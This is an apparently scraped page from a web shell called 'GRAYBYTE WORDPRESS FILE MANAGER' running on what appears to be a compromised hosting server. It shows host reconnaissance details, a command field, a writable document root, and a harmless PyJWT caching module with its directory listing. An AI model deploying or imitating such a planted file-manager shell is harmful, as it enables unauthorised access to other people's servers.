GRAYBYTE WORDPRESS FILE MANAGER6245

Server IP : 198.54.121.189 / Your IP : 216.73.216.224
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/cloudlinux/venv/lib/python3.11/site-packages/jwt/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/jwt//jwk_set_cache.py
import time
from typing import Optional

from .api_jwk import PyJWKSet, PyJWTSetWithTimestamp


class JWKSetCache:
    def __init__(self, lifespan: int) -> None:
        self.jwk_set_with_timestamp: Optional[PyJWTSetWithTimestamp] = None
        self.lifespan = lifespan

    def put(self, jwk_set: PyJWKSet) -> None:
        if jwk_set is not None:
            self.jwk_set_with_timestamp = PyJWTSetWithTimestamp(jwk_set)
        else:
            # clear cache
            self.jwk_set_with_timestamp = None

    def get(self) -> Optional[PyJWKSet]:
        if self.jwk_set_with_timestamp is None or self.is_expired():
            return None

        return self.jwk_set_with_timestamp.get_jwk_set()

    def is_expired(self) -> bool:
        return (
            self.jwk_set_with_timestamp is not None
            and self.lifespan > -1
            and time.monotonic()
            > self.jwk_set_with_timestamp.get_timestamp() + self.lifespan
        )

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 25 2025 08:31:36
root / root
0755
__pycache__
--
May 15 2025 08:30:35
root / root
0755
__init__.py
1.631 KB
April 17 2025 13:10:58
root / root
0644
algorithms.py
29.102 KB
April 17 2025 13:10:58
root / root
0644
api_jwk.py
4.098 KB
April 17 2025 13:10:58
root / root
0644
api_jws.py
10.839 KB
April 17 2025 13:10:58
root / root
0644
api_jwt.py
12.342 KB
April 17 2025 13:10:58
root / root
0644
exceptions.py
1.021 KB
April 17 2025 13:10:58
root / root
0644
help.py
1.708 KB
April 17 2025 13:10:58
root / root
0644
jwk_set_cache.py
0.937 KB
April 17 2025 13:10:58
root / root
0644
jwks_client.py
4.123 KB
April 17 2025 13:10:58
root / root
0644
py.typed
0 KB
April 17 2025 13:10:58
root / root
0644
types.py
0.097 KB
April 17 2025 13:10:58
root / root
0644
utils.py
3.812 KB
April 17 2025 13:10:58
root / root
0644
warnings.py
0.058 KB
April 17 2025 13:10:58
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF